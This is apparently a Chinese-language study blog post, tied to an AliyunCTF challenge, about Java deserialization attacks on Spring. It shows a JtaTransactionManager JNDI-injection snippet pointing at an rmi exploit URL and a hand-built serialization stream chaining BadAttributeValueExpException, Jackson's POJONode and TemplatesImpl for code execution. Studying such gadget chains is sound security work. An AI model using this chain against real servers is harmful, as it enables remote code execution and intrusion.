前言
学习。
通过Spring-tx依赖
光有Spring Web还不够,还需要一个Spring-tx依赖,根据本地的Spring版本选择了一个相同版本的Spring-tx依赖:
1 2 3 4 5
| <dependency> <groupId>org.springframework</groupId> <artifactId>spring-tx</artifactId> <version>5.3.27</version> </dependency>
|
以前学习过,该依赖下存在JtaTransactionManager类,可以直接用于JNDI注入:
1 2 3
| JtaTransactionManager jtaTransactionManager = new JtaTransactionManager(); jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit"); Util.unserialize(Util.serialize(jtaTransactionManager));
|
测试时发现似乎由于属性userTransaction是一个未添加依赖的类型UserTransaction,虽然是transient修饰符的但还是导致了序列化失败,或许需要手写序列化流、自己整一个新的JtaTransactionManager类或者引入依赖再弄吧。
由于Spring中存在Tomcat依赖,因此可以使用里面的BeanFactory有限制地进行函数调用。
通过Jackson
以前学习过Java原生反序列化在反序列化时,FastJson的JSONObject类的toString函数会通过FastJson的方式序列化自身内部元素,进而触发它们的getter函数完成利用的方式,而Spring中虽然没有FastJson,却有跟FastJson有异曲同工之妙的Jackson。
类似FastJson的JSONObject类,Jackson中也有一个继承Serializable接口,还存在序列化自身元素的类POJONode,该类的serialize函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| @Override public final void serialize(JsonGenerator gen, SerializerProvider ctxt) throws IOException { if (_value == null) { ctxt.defaultSerializeNull(gen); } else if (_value instanceof JsonSerializable) { ((JsonSerializable) _value).serialize(gen, ctxt); } else { ctxt.defaultSerializeValue(_value, gen); } }
|
按照常规定义,POJO类即简单的数据类,保存数据而不包含业务逻辑,各个成员一般都存在getter和setter函数,因此按一般理性而言,序列化时和FastJson一样会触发类的getter函数,并且可能都可以通过toString函数触发。
简单测试一下,但是其父类BaseJsonNode存在writeReplace函数:
1 2 3
| Object writeReplace() { return NodeSerialization.from(this); }
|
因此按照正常流程序列化POJONode类时,序列化流程就会被该函数强制修改为Jackson自身定义的序列化方式:
1
| �� sr 5com.fasterxml.jackson.databind.node.NodeSerialization xpw {"data":"data"}x
|
很明显,Jackson通过这个NodeSerialization类来代理完成类的反序列化,因此想要正常生成测试用的序列化对象,就需要修改这个writeReplace函数。
方法有很多,不怕麻烦可以直接一点强行手写序列化字节流,优雅一点可以通过agent修改BaseJsonNode类的字节码把writeReplace函数删掉,折中一点的办法可以打开新的项目,自己写好POJONode类和其父类ValueNode来进行序列化。
这里通过直接手写序列化流的方式完成漏洞利用,可以参考Java8u20反序列化漏洞的做法,可以手写序列化流,因为实际上需要的数据只有一个BadAttributeValueExpException对象,一个POJONode对象和一个TemplatesImpl对象,因此构造起来也比较简单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| @RequestMapping("/deserialization") public String deserialization() { if (this.bytes == null) { this.bytes = Converter.toBytes(getPOC()); } System.out.println(new String(this.bytes)); Object obj = Util.unserialize(this.bytes); System.out.println(obj.getClass().getName()); return "index"; }
private Object[] getPOC() { return new Object[]{ STREAM_MAGIC, STREAM_VERSION, TC_OBJECT, TC_CLASSDESC, BadAttributeValueExpException.class.getName(), -3105272988410493376L, (byte) 3, (short) 1, (byte) 'L', "val", TC_STRING, "Ljava/lang/Object;", TC_ENDBLOCKDATA, TC_NULL,
TC_OBJECT, TC_CLASSDESC, POJONode.class.getName(), 2L, (byte) 3, (short) 1, (byte) 'L', "_value", TC_STRING, "Ljava/lang/Object;", TC_ENDBLOCKDATA, TC_NULL, Util.getTemplatesPOC(), TC_ENDBLOCKDATA, TC_REFERENCE, baseWireHandle + 0x03, TC_STRING, "_value",
TC_ENDBLOCKDATA, TC_REFERENCE, baseWireHandle + 0x01, TC_STRING, "val", }; }
|
具体的对象引用通过调试可知,虽然序列化和反序列化正常进行了,但实际运行中却发现反序列化漏洞没有正常触发,根据调试,可知getter函数的触发位于BeanSeriallizerBase类的serializeFields函数中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| if (_filteredProps != null && provider.getActiveView() != null) { props = _filteredProps; } else { props = _props; } int i = 0; try { for (final int len = props.length; i < len; ++i) { BeanPropertyWriter prop = props[i]; if (prop != null) { prop.serializeAsField(bean, gen, provider); } } if (_anyGetterWriter != null) { _anyGetterWriter.getAndSerialize(bean, gen, provider); } }
|
发现此时首先调用了TemplatesImpl的getStylesheetDOM函数:
1 2 3
| public DOM getStylesheetDOM() { return (DOM)_sdom.get(); }
|
而由于_sdom成员是一个transient成员,因此调用时该成员就会为null,调用该函数就会抛出异常直接结束getter的遍历调用。
进行调试,发现getter是由ClassUtil类中的getClassMethods函数通过Class.getDeclaredMethods函数获取的,换而言之就是乱序,然后交给POJOPropertiesCollector类的collectAll函数移除一些不想要的成员或者getter,最后遍历访问。
因此每次运行程序时getter的调用顺序都不一样,多启动几次程序可以发现漏洞可以成功利用。
怪耶!
参考
Spring 反序列化JNDI注入漏洞
AliyunCTF By Straw Hat